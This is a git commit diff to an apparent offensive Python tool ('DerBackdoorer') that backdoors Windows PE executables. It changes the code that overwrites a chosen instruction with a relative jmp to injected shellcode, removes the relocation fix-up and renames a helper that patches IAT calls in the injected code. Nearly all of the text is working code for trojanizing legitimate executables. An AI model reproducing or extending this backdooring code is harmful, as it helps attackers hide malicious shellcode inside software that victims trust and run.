feature: remove addingrelocation by making function hijack a relative jmp

This commit is contained in:
Dobin
2024-05-05 12:53:31 +01:00
parent 3cc232886f
commit 8ae738b841
3 changed files with 19 additions and 17 deletions
+6 -10
View File
@@ -8,11 +8,13 @@ import pefile
import capstone import capstone
import keystone import keystone
import logging import logging
from intervaltree import *
from utils import hexdump from utils import hexdump
from pe.superpe import SuperPe from pe.superpe import SuperPe
from model.defs import * from model.defs import *
from intervaltree import * from pe.pehelper import assemble_relative_call, assemble_relative_jmp
logger = logging.getLogger("DerBackdoorer") logger = logging.getLogger("DerBackdoorer")
@@ -40,10 +42,11 @@ class FunctionBackdoorer:
if addr is None: if addr is None:
raise Exception("Couldn't find a suitable instruction to backdoor") raise Exception("Couldn't find a suitable instruction to backdoor")
compiled_trampoline, text_trampoline, trampoline_reloc_offset = self.get_trampoline(addr, shellcode_addr) compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr)
logger.info("--[ Backdoor 0x{:X}: {}".format( logger.info("--[ Backdoor 0x{:X}: {}".format(
addr, text_trampoline)) addr, compiled_trampoline.hex()))
# Check for overlap
it = IntervalTree() it = IntervalTree()
it.addi(addr, addr+len(compiled_trampoline)) it.addi(addr, addr+len(compiled_trampoline))
if it.overlap(shellcode_addr, shellcode_addr+shellcode_len): if it.overlap(shellcode_addr, shellcode_addr+shellcode_len):
@@ -55,13 +58,6 @@ class FunctionBackdoorer:
# write # write
self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline)) self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline))
# relocs
relocs = (
addr + trampoline_reloc_offset,
)
pageRva = 4096 * int((addr + trampoline_reloc_offset) / 4096)
self.superpe.addImageBaseRelocations(pageRva, relocs)
def find_suitable_instruction_addr(self, startOffset, length=256): def find_suitable_instruction_addr(self, startOffset, length=256):
"""Find a instruction to backdoor. Recursively.""" """Find a instruction to backdoor. Recursively."""
+10 -4
View File
@@ -77,10 +77,8 @@ def assemble_lea(current_address: int, destination_address: int, reg: str) -> by
machine_code = bytes(encoding) machine_code = bytes(encoding)
return machine_code return machine_code
def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes:
#logger.info(" Make jmp from 0x{:X} to 0x{:X}".format( def assemble_relative_call(current_address: int, destination_address: int) -> bytes:
# current_address, destination_address
#))
# Calculate the relative offset # Calculate the relative offset
# For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx) # For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx)
offset = destination_address - current_address offset = destination_address - current_address
@@ -98,6 +96,14 @@ def assemble_and_disassemble_jump(current_address: int, destination_address: int
return machine_code return machine_code
def assemble_relative_jmp(current_address: int, destination_address: int) -> bytes:
offset = destination_address - current_address
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, _ = ks.asm(f"jmp {offset}")
machine_code = bytes(encoding)
return machine_code
## Utils ## Utils
def remove_trailing_null_bytes(data: bytes) -> bytes: def remove_trailing_null_bytes(data: bytes) -> bytes:
+2 -2
View File
@@ -139,10 +139,10 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost):
offset_from_code = code.index(iatRequest.placeholder) offset_from_code = code.index(iatRequest.placeholder)
instruction_virtual_address = offset_from_code + exe_host.image_base + exe_host.code_section.VirtualAddress instruction_virtual_address = offset_from_code + exe_host.image_base + exe_host.code_section.VirtualAddress
logger.info(" Replace {} at VA 0x{:X} with call to IAT at VA 0x{:X}".format( logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
)) ))
jmp = assemble_and_disassemble_jump( jmp = assemble_relative_call(
instruction_virtual_address, destination_virtual_address instruction_virtual_address, destination_virtual_address
) )
code = code.replace(iatRequest.placeholder, jmp) code = code.replace(iatRequest.placeholder, jmp)